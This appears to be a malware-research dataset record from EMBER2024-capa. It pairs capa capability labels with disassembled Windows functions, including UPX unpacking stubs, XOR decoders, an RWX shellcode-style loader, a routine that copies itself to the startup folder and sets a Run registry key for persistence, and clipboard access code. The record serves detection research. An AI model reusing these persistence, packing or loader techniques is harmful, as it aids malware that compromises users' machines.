joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b3670
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x91000]
push edi
jmp 0x4b368a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b3691
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b3680
mov eax, 1
add ebx, ebx
jne 0x4b36a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b36b4
jne 0x4b36d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b36d3
dec eax
add ebx, ebx
jne 0x4b36c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b3698
add ebx, ebx
jne 0x4b36cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b3725
xor ecx, ecx
sub eax, 3
jb 0x4b36eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b375a
sar eax, 1
mov ebp, eax
jmp 0x4b36f6
add ebx, ebx
jne 0x4b36f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b36c4
inc ecx
add ebx, ebx
jne 0x4b3704
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b36c4
add ebx, ebx
jne 0x4b3711
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b3706
jne 0x4b3722
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b3706
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b3744
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b3736
jmp 0x4b3686
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b3744
add edi, ecx
jmp 0x4b3686
pop esi
mov edi, esi
mov ecx, 0x16b1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b3762
cmp byte [edi], 0x11
jne 0x4b3762
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b3767
lea edi, [esi + 0xb0000]
mov eax, dword [edi]
or eax, eax
je 0x4b37d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x117e78]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x117ea0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b3794
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x117ea8]
or eax, eax
je 0x4b37d0
mov dword [ebx], eax
add ebx, 4
jmp 0x4b37b1
call dword [esi + 0x117ea4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4b3807
cmp al, 0xef
ja 0x4b37fa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4b37dc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4b37e9
mov ebp, dword [esi + 0x117eac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b383b
sub esp, 0xffffff80
jmp 0x412bb0
Function at 0x93f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0093f1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x93f07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x93f06a
add dl, dl
jne 0x93f089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x93f0dc
xor eax, eax
add dl, dl
jne 0x93f096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x93f17d
add dl, dl
jne 0x93f0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x93f0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x93f0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x93f0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x93f0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x93f075
mov eax, 1
add dl, dl
jne 0x93f0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x93f0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x93f0e1
sub eax, ebx
mov ebx, 1
jne 0x93f128
mov ecx, 1
add dl, dl
jne 0x93f10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x93f119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x93f105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x93f075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x93f13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x93f14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x93f136
cmp eax, 0x7d00
jae 0x93f16d
cmp eax, 0x500
jb 0x93f168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x93f075
cmp eax, 0x7f
ja 0x93f170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x93f075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x93f19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x93f075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1014
push ebp
mov ebp, esp
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
or eax, 0xffffffff
mov dword [0x415c84], 9
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
mov dword [ebp - 8], eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
mov ecx, 0x1000
xor eax, eax
lea edx, [ebp - 0x1010]
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
mov edi, eax
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
test eax, eax
mov esi, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1d637910
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x50ed6296
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401460
Capabilities:
Copy file
Get common file path
Get startup folder
Persist via run registry key
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x264
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10e]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xa]
mov ecx, eax
call fcn.004021ac
lea eax, [ebp - 0x128]
lea edx, [ebp - 0xa]
mov dword [esp + 4], edx
lea edx, [ebp - 0x10e]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xa]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x22c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 7
mov dword [esp], 0
call sym._SHGetFolderPathA_20
sub esp, 0x14
lea eax, [ebp - 9]
mov ecx, eax
call fcn.004021ac
lea eax, [ebp - 0x244]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
lea edx, [ebp - 0x22c]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x244]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x401573
lea eax, [ebp - 0x244]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov ebx, eax
lea eax, [ebp - 0x128]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._CopyFileA_12
sub esp, 0xc
lea eax, [ebp - 0x248]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x4015fe
lea eax, [ebp - 0x128]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
lea ebx, [eax + 1]
lea eax, [ebp - 0x128]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov edx, eax
mov eax, dword [ebp - 0x248]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.CalculatorAutoLaunch_7KO45DE4T5F6OJG6NFJP4
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x248]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x244]
mov ecx, eax
call fcn.00402174
lea eax, [ebp - 0x128]
mov ecx, eax
call fcn.00402174
mov eax, ebx
jmp 0x40166f
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401674
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0
call sym._OpenClipboard_4
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40171d
call sym._EmptyClipboard_0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._GlobalAlloc_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401718
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GlobalLock_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401718
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._GlobalUnlock_4
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 1
call sym._SetClipboardData_8
sub esp, 8
call sym._CloseClipboard_0
nop
leave
ret

Function at 0x401720
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ecx, dword [ebp + 8]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [esp], 0
call sym._OpenClipboard_4
sub esp, 4
test eax, eax
setne al
test al, al
je 0x4017b0
mov dword [esp], 1
call sym._GetClipboardData_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401795
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GlobalLock_4
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401795
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov ecx, dword [ebp + 8]
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_char_const_
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GlobalUnlock_4
sub esp, 4
call sym._CloseClipboard_0
jmp 0x4017b0
nop
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x402830
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a06c
call sym._EnterCriticalSection_4
mov ebx, dword [0x40a064]
sub esp, 4
test ebx, ebx
je 0x40287b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402874
test esi, esi
je 0x402874
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402850
mov dword [esp], 0x40a06c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402a60
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402b88
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402aee
cmp eax, 4
jne 0x402b10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402afe
cmp edx, 4
je 0x402afe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402a60
Function at 0x2d87a79d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x2d87a7ac
pop dword [ebp - 0x34]
mov eax, 0x2d87a7ac
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x754e6617
add dword [ebp - 0x44], 0xd903df34
mov dword [ebp - 0x40], 0x89775d9d
sub dword [ebp - 0x40], 0x57441158
mov dword [ebp - 0x3c], 0xdef634de
add dword [ebp - 0x3c], 0x6d560f50
mov dword [ebp - 0x38], 0xd93d7807
add dword [ebp - 0x38], 0x26c287f9
lea eax, [ebp - 0x44]
push eax
mov eax, 0x36eecba8
sub eax, 0x9617b30
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x92e7112c
sub dword [ebp - 0x44], 0x1e74a7d6
mov dword [ebp - 0x40], 0x6a66d9a6
add dword [ebp - 0x40], 0xd70587cf
mov dword [ebp - 0x3c], 0x728d580e
add dword [ebp - 0x3c], 0xf0e2145e
mov dword [ebp - 0x38], 0x6ab47b72
sub dword [ebp - 0x38], 0x6ab47b72
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xc0ff255c
sub eax, 0x9371d4dc
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x5a13d
push 0
call eax
mov ecx, 0xb343767e
add ecx, 0x4cbcc3cc
mov esi, eax
mov edx, 0x2d97f200
add edx, dword [ebp - 0x34]
mov ebx, 0xeb59be49
add ebx, 0xa44a3ab5
sub dword [ebp - 0x24], 0xebe4f0aa
mov edi, dword [edx]
xor dword [ebp - 4], 0x41ba10f
sub edi, ebx
mov dword [ebp - 8], 0x6d489419
mov dword [esi], edi
add esi, 0x58a343f8
sub esi, 0x58a343f4
add edx, 4
loop 0x2d87a8c3
add eax, 0xc1bf926f
add eax, 0x3e41498c
mov ebx, eax
add eax, 5
mov ecx, 0x2d800000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x43534b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0042708b
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x435383
xor eax, eax
jmp 0x4353af
cmp esi, dword [ebp - 4]
je 0x4353ac
cmp dword [ebp + 0xc], 0
je 0x4353ac
push dword [edi + 0x9c]
call fcn.00434f59
push dword [edi + 0x9c]
mov esi, eax
call fcn.00424fcd
pop ecx
pop ecx
cmp esi, eax
je 0x43537f
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
push es
mov al, byte [0x2662dfe1]
pop ds
enter 0x21da, 0xffffffffffffff95
xor dh, byte [edi - 0x5f3741eb]
sub byte [ebx], ah
cmp ebx, dword [edi - 0x4c]
mov ah, 0x68
rcr byte [ecx + 0x1e6631e4], cl
mov ah, 0x68
rcr byte [ecx + 0x1e6631e4], cl
loope 0x414aaa
pop edi
invalid
Function at 0x4162b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4162ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4162d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4162c0
mov eax, 1
add ebx, ebx
jne 0x4162e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4162d8
jne 0x4162f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4162d8
xor ecx, ecx
sub eax, 3
jb 0x416308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41637a
mov ebp, eax
add ebx, ebx
jne 0x416313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416344
inc ecx
add ebx, ebx
jne 0x416330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416325
jne 0x416341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416355
jmp 0x4162c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416364
add edi, ecx
jmp 0x4162c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4163c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0x4163bd
mov dword [ebx], eax
add ebx, 4
jmp 0x41639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4163f4
cmp al, 0xef
ja 0x4163e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4163c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4163d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416428
sub esp, 0xffffff80
jmp 0x405dd2

Function at 0x10a7554
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10a755e
pushal
call 0x10a7564
pop ebp
sub ebp, 0x10
sub ebp, 0xca7554
jmp 0x10a757a
mov eax, 0xca7554
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c2
mov edx, 0xfc9276e5
xor byte [eax], dl
inc eax
dec ecx
jne 0x10a7591
jmp 0x10a75a4
outsb dx, byte [esi]
sub byte [esi + 0x6c], ch
fxam
in eax, 0xe5
and al, 0x1d
in eax, 0xe5
in eax, 0xe6
sub byte [ebp - 0x1d], bl
in eax, 0xe5
in eax, 0x5f
int 0xe5
in eax, 0xe5
adc al, byte [edi]
out 0x2d, al
outsb dx, byte [esi]
jmp 0xe7f05bae
Function at 0x100019c2
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100019fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 8], eax
call fcn.10010a50
mov edx, 0x1002cf9c
mov dword [esp + 0xc], eax
lea ecx, [esp + 8]
call fcn.10001712
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001aa9
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x190
push 0x1003727c
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x10001add
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push eax
push 0x10037280
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esp, ebp
pop ebp
ret

Function at 0x10001c91
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
push 0xffffffffffffffff
xor edi, edi
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push edi
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x10037244
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push edi
push dword [esi + 4]
test eax, eax
je 0x10001cdc
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x10001cf2
push fcn.10001e7c
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
mov esp, ebp
pop ebp
ret